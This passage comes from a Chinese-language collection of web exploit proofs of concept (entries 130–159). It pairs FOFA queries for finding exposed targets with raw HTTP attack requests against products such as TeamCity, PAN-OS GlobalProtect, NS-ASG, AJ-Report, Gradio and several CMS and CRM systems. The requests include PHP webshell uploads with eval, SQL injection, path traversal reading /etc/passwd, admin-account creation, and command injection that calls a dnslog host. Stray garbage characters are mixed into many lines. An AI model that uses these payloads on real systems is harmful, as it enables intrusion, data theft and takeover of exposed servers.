User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

5 \1 s# Z8 e+ g) k2 F
" s2 z& Y  ~  }8 z+ _: w) C4 p第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
* X! ?' n+ P/ n& i) P2 s9 a( M& X( QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
  V& R% d& a& p, V. pConnection: close
/ |0 s0 t6 {. k$ {# H' I# yuuid: 85f60018-a654-4410-a783-f81cbd5000b9
4 H+ h, ?% ^: H, L8 s

130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
" j2 s% ]3 P0 HAccept: application/json, text/javascript, */*; q=0.01
' f! ]5 P+ v4 H1 QX-Requested-With: XMLHttpRequest
3 Z( p6 ^0 r4 W$ I6 vUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! |% U; N! g0 P) c" }: L! ~3 f$ vCookie: user_name=1; user_id=3
Connection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
3 g9 @' o& B  |" L% zContent-Disposition: form-data; name="file"; filename="1.php"
0 I( N9 ]4 O; UContent-Type: image/png
* [0 {6 G$ x' I# |. F0 q, b
<?php phpinfo();@eval($_POST['sec']);?>
9 }7 z8 Z* ~# y- W# W------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
$ W7 D/ ^1 B4 g5 j+ `, i8 E  Q; [) K后台地址：http://localhost:8080/tmall/admin
5 a5 F" ~5 h, ]3 O8 w; dhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

9 k, l; l3 |1 N) n& Q! L132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
$ C% ]: U7 B8 K1 n" L1 aCVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
: n+ @; @5 P& iHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
6 p5 Y1 V, W4 TAccept: */*
1 _  T3 _6 [3 _' D9 Y4 J6 ~- rContent-Type: application/json
0 l, w2 s/ U9 K4 ]Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


' y  ?; E8 p0 ^& A$ HCVE-2024-27199
- R1 S* ~/ _% n' p1 a8 f) s/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
8 h* y$ z- |" [) q  z. i- r/update/../admin/diagnostic.jsp
. B* z7 h7 b% l1 ]2 {7 W
5 j4 L& `- |- E$ A; U5 J  C- N
" e6 F9 @9 S* |CVE-2024-27198-RCE.py
) j1 F( B" F6 n3 `: q! a
133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
2 n  V! @1 d" d) T$ T* P  q! u, iPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
$ `9 Q) ^* B9 K. |Host: your-ip
% M& B  N% x% S* r4 z7 ^& h9 aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
: x9 R( ]' n) d5 h' \Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

, x0 C) h6 i) P" d7 ]3 w5 G------WebKitFormBoundaryFQqYtrIWb8iBxUCx
! B& C" i$ o! K$ M/ G; K! fContent-Disposition: form-data; name="file"; filename="rce.php"
* P; K; f% n+ t2 _Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

  c9 E3 z; ~8 X1 R& D: O8 d' _

134. 网康NS-ASG应用安全网关index.php sql注入
1 C6 u) B/ L) R" }- [: dCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
. g4 @' v4 N( T1 n7 @POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
$ a" A) g8 ?8 e7 @1 K; F# \$ q' HSec-Fetch-Dest: empty
, F" Q# H0 f8 d6 b, NSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
% a) R9 E" m$ J* p! LTe: trailers
Connection: close
# h4 o( A1 }' j/ C# p7 y1 |8 b9 CContent-Type: application/x-www-form-urlencoded
Content-Length: 263
- m5 ]: G) V" M
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
9 \$ B' A2 N. l7 n9 l& ZGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
# p. S( G8 I, a6 z3 l" n- `, {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
2 A8 ?3 [$ K  |9 t) u! }4 X$ aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; f! ?+ K. F& k5 \. e6 ZAccept-Encoding: gzip, deflate
! u* U; e0 M" _' O% fAccept-Language: zh-CN,zh;q=0.9
Connection: close


- H3 t/ L, `; @, T136. NextChat cors SSRF
2 e3 c! ^$ |, `1 a. Q' U! _CVE-2023-49785
0 P0 I& H$ J/ S% XFOFA：title="NextChat"
1 ?/ ^" B  y1 G2 y$ B! yGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
* C& n9 E5 M0 B7 WHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
1 K& V# N' u# {) RConnection: close
Accept: */*
+ O# f0 M7 V- ~Accept-Language: en
Accept-Encoding: gzip
6 t& h4 r9 p; d2 ^* [, q

3 V: |1 n1 d0 V; E8 F* l3 R9 L137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
" L5 l" J: t2 c, h9 ~& M9 M) yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
: i5 K: N( p3 y& I5 y: uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 J+ |6 O$ w' m2 D) ]$ ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( _, w4 n2 s1 I. P% TAccept-Encoding: gzip, deflate, br
Connection: close
& a! I2 s4 m& RCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
1 M5 q3 ?6 X, B6 P) n9 nGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
  Y2 u3 ?9 [* s# _6 _- O. @Host: x.x.x.x
2 h: ~. o* ]% f  HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 A4 n: \/ H: x$ [4 Z  s0 Q2 |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
* J. q% c  ]3 V, S+ ], E' FConnection: close
Upgrade-Insecure-Requests: 1
* u8 k7 x4 a7 a+ z

( ~. J8 e" S& W0 f/ s7 s, u) D, F139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
+ O* x/ s' S8 P# y% A* ^FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
( B& d* u% E; c; d! yHost: x.x.x.x
) t- P1 z. r+ M* V7 D+ NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
. t" b% Z% C2 U; _$ H- A) v$ J6 NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
& y' Q6 j# V& v& g- kConnection: close
$ T4 b; Q, Y% j' V! w  g- }# z+ hCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1

, H. b5 P" e* Q
- p, F! r+ e4 ~, N$ ~3 {7 ~6 g140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
# F' y+ f2 P  M" wFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
. `8 e/ r3 ]' [6 A/ s0 OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
9 S) V: |2 W( C: g4 N1 PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 K) N. Q5 h9 ]6 ~: @9 OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& `/ K' @5 I# b! K% H2 l3 q7 u8 LAccept-Encoding: gzip, deflate, br
Connection: close
$ H8 q7 T0 A' S2 ICookie: authcode=h8g9
" u/ |% I0 p5 f! C  U5 OUpgrade-Insecure-Requests: 1
: X, z7 W, F) G7 O; `
8 k- o, P: A* t$ L* F5 J' ], N8 O+ A5 ~
% m2 r3 M! g9 F, I% H) k5 ~: o141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
7 e7 ]8 n5 M: L/ h4 QFOFA：body="指挥调度管理平台"
+ Y! U4 R2 w& ]POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
5 q  m2 [- y0 q; EUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
. {% v3 Z0 n1 B0 s: {8 hContent-Type: application/x-www-form-urlencoded
3 }/ `# P8 `3 i; T) w9 Q. G5 q! G

dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
$ r: J) z* o* A- {* b# r: ?
' }  C- K6 F9 n6 E( e' F
142. CMSV6车辆监控平台系统中存在弱密码
1 e: g1 A: s* a: ]CVE-2024-29666
1 U" _& X. ~. hFOFA：body="/808gps/"
) S+ g$ W* i! _0 i6 x4 W% uadmin/admin
8 D0 H# [% k5 [143. Netis WF2780 v2.1.40144 远程命令执行
. q  R. N; L, ~& zCVE-2024-25850
# K- |# A; M/ B# @7 R7 tFOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
- H' s* ]# B, p( X) i- r0 Bsystem参数用于传要执行的命令
: `$ b! Y: c" x% CGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
* L; H# ^3 F+ J2 Y1 y6 hHost: x.x.x.x
3 i( o% S9 h  |/ q2 _7 q/ rUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
  x! S) @. K  gAccept-Language: en
Accept-Encoding: gzip


145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
$ }0 [' j0 K# D7 s6 hGET /global-protect/login.esp HTTP/1.1
9 g/ L! c1 p  h* G- J& `Host: 192.168.30.112:1005
6 R" v' W7 j( Y) Y" g5 g9 F/ t* wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
8 }9 C! {4 W4 m' T' B: P* \Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
; ^& g; m! D1 w* |7 v" Q7 pAccept-Encoding: gzip

- W; W" j' F% l- q
146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
' I* \/ c5 x4 Y; ]) XGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
, \  m* \& v6 m" M; t' rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
3 p: l) M+ z' ~% _

6 M) o4 \& o/ W147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
$ @' m! d* Y- e6 `  H, e! Z* aGET /webeditor/../../../windows/win.ini HTTP/1.1
  s+ x& i" F/ W* P. S: THost: 127.0.0.1:81
  Q& h" f  }. h' W1 B/ zCache-Control: max-age=0
& \, f3 H8 h1 O1 U# v* I; eConnection: close
) u1 U6 p5 r" R1 ?3 K
, G$ n1 ^. S5 [+ j, z  f" L5 b
' _* G/ l% U+ M0 @+ c5 x148. CrushFTP 认证绕过模板注入
3 V6 E5 ~. z% `2 PCVE-2024-4040
FOFA：body="CrushFTP"
! j. S  A: S) P1 o8 E1 JPAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
/ F4 m% [: {% H+ E- F& pFOFA：title="AJ-Report"
" Q/ N1 H" Z+ L0 t7 K: \
0 H" r5 v. m2 ?! e+ O; U: N* QPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( y/ c& r! E, e7 B# E, _/ D3 T/ \Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
5 N% L$ @6 b; \8 t+ z# X$ pContent-Type: application/json;charset=UTF-8
1 t- ]% v; W9 H' \Connection: close
& R, M4 G$ v7 W
- W% q1 j$ |4 Q: o- h6 v8 m{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
, d- @- z4 Y5 b# Q' Q  T- z6 F, i
150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
: ]: O7 o( S) q9 W0 l6 g" tPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
! b! w9 {* a, R$ K- ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
4 m- b) P0 {9 oAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
8 t$ b9 ^+ T% `1 k8 u& b, u" BConnection: close
Content-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
. G( Z+ ^% U4 k% O( {: a; W( P7 d0 {

151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
+ ^( k' F' p* Q+ l- tGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
, T$ q+ r; w. w; c8 iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
- @2 {$ C/ A: S2 Q$ j3 y: y
6 T  o  K, ^1 U. s0 z
2 O: r" v& j& ]152. Progress Kemp LoadMaster 远程命令执行
: ~# Z. s/ N6 c+ t1 SCVE-2024-1212
* K; Y, c0 g7 N% CLoadMaster <= 7.2.59.2 (GA)
9 K8 J. f/ F/ t( ?% q+ Y6 c: E* nLoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
/ Y7 r' D5 k) d0 w8 `6 K- x+ xConnection: close
Accept: */*
Accept-Language: en
# `/ y2 x6 W7 A* e2 ^$ }+ SAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip


153. gradio任意文件读取
! B: U( ?: M; ]3 bCVE-2024-1561FOFA：body="__gradio_mode__"
/ n8 C0 D$ l* l第一步，请求/config文件获取componets的id
# K1 J# i& i7 y2 a8 F) |  r! q8 Whttp://x.x.x.x/config
' A" l" K4 A% X4 a, e; A0 v

6 N* l% K6 j. G9 W2 V) k9 n第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
, t  G# Q& v2 w$ L0 QHost: x.x.x.x
& m( A# [) ]8 S; a2 t+ KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
2 p# E+ }: E& a6 |1 \, k) KConnection: close
5 L% ?+ p7 ?9 `# D5 G, h) [5 p: l+ fContent-Length: 115
Content-Type: application/json
Accept-Encoding: gzip

7 P7 I/ R) ?4 Y' C" }6 `7 P{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
+ M' k1 j9 v- r) g1 e! \* y6 B
5 r9 }6 U, h) |$ K. D! {5 G
第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


1 |$ X- \9 ]4 {& \" c* U$ w, f/ A154. 天维尔消防救援作战调度平台 SQL注入
+ r7 M; t! E: E: s, vCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
2 D8 A& p( y% ~7 e1 o% v4 `( J3 Z) YContent-Length: 106
0 n: A# y( D1 yCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
8 U2 R" Q9 W7 }. r1 LOrigin: http://x.x.x.x
' y7 s0 ]4 l9 |( E: xContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
: I: |: G& ^3 ~& l1 NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

( J' D. M% G" |! q  @. \{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


3 l% r% k; ~) a3 Z7 _. e* A155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
" v2 Z: f- _. H& g1 LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
' v, O% g+ P7 s% f4 k: {  X( Z' S% AContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
  r* C. U; q5 h2 eAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 c5 M; _( Y7 G3 t& u/ o6 O' ?/ uContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
6 Q, ?  ?. n2 o  t: _% y3 SX-Requested-With: XMLHttpRequest
! o  m/ F' ]) s/ Q: v+ g+ }
-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
$ Q( S$ u) }* S' q, _. D
) d) l0 V& Y. M9 m0 `
$ u/ D. l5 _* I3 H" v$ `) W& R访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
" s& C# e( s# H! B/ h" s4 K6 j
156. TBK DVR-4104/DVR-4216 操作系统命令注入
0 |2 L5 S8 p$ l* n8 lCVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
% c: K) @' N8 q, I4 Z5 J·TBK DVR-4216
% E  A- B( r+ F8 b6 ?curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


+ R  L6 O5 f) ^0 a$ b4 l! FPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
) g; N9 ]* {, q) M: q  fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
/ i# Z. z9 d; \, jContent-Length: 0
Cookie: uid=1
Accept-Encoding: gzip

  Q9 j' D+ i. L  {/ o
4 L+ D" Z. x: q! M2 q: V6 \* U/ ~157. 美特CRM upload.jsp 任意文件上传
9 O. }/ H+ I2 d* g' N/ g/ YCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
" l3 L- r( B8 I6 S4 A& PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
( f# d: P2 F) _% O% s" `4 q# j% h( zContent-Length: 709
4 Y* N# V9 r3 }! s& v" R1 NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: {  j: m) G! E* X: zAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  d7 F6 L9 L) V1 j3 n6 ICache-Control: max-age=0
5 V7 `; W& [7 n# s! WConnection: close
6 z! T0 M' i9 @) d/ K) ^8 Q7 b6 P" XContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
- E* ?9 A9 l$ q4 Y' y! I! ]5 g
" P* N  w5 g; E& A8 s6 P- t# H) a------WebKitFormBoundary1imovELzPsfzp5dN
" j% O+ `+ J: H6 hContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
# K! E, j! l/ Q5 ]------WebKitFormBoundary1imovELzPsfzp5dN
3 F( d' B$ b8 N) u: ZContent-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
( V0 G' E5 x9 x, I2 t- {/ KContent-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
. q1 Y' f' m3 y/ {Content-Disposition: form-data; name="field"
, d( b$ s) M/ a5 J/ T
null
$ O+ Q0 e- I5 J, g% \; b) s, V+ x/ J( W------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

6 c- u, s9 m5 F6 E$ k; y2 H# f' p4 Gnull
3 }: n1 _  X1 B* f------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

! r2 U2 h" K/ a* i% E& qnull
------WebKitFormBoundary1imovELzPsfzp5dN--
- c  f) Z% r# c8 V+ k

http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
# v- x2 R8 u1 c% F, b2 }$ v' J
* y3 F- V# r! y. f1 P6 P2 Q158. Mura-CMS-processAsyncObject存在SQL注入
9 e: N; ?; q& {) |9 c: uCVE-2024-32640
: I8 L3 d* t5 D/ n  y% d: ]FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
7 D& y5 y4 o) m- ~: SHost: {{Hostname}}
5 T0 Q7 ^  L4 x1 ~. k8 NContent-Type: application/x-www-form-urlencoded

/ ?" c# x. v7 O6 D1 ?8 R3 Z2 s4 [object=displayregion&contenthistid=x\'&previewid=1

/ ~2 U& g. Q8 i
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
9 t$ M$ H( z4 ]3 L, N8 F7 FFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
9 k+ `$ b9 q3 ^: F  `7 f9 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
3 S0 w" f& d! j, r1 d$ r0 o8 K/ U" @& aAccept-Encoding: gzip, deflate
% a& z- s% V! X* V+ D- Y2 i6 DConnection: close
. Y5 {; G. E  F$ ]# |5 d: vContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

, x% ?/ n6 Y2 R$ |3 T6 P+ h% m<?xml version="1.0" encoding="utf-8"?>
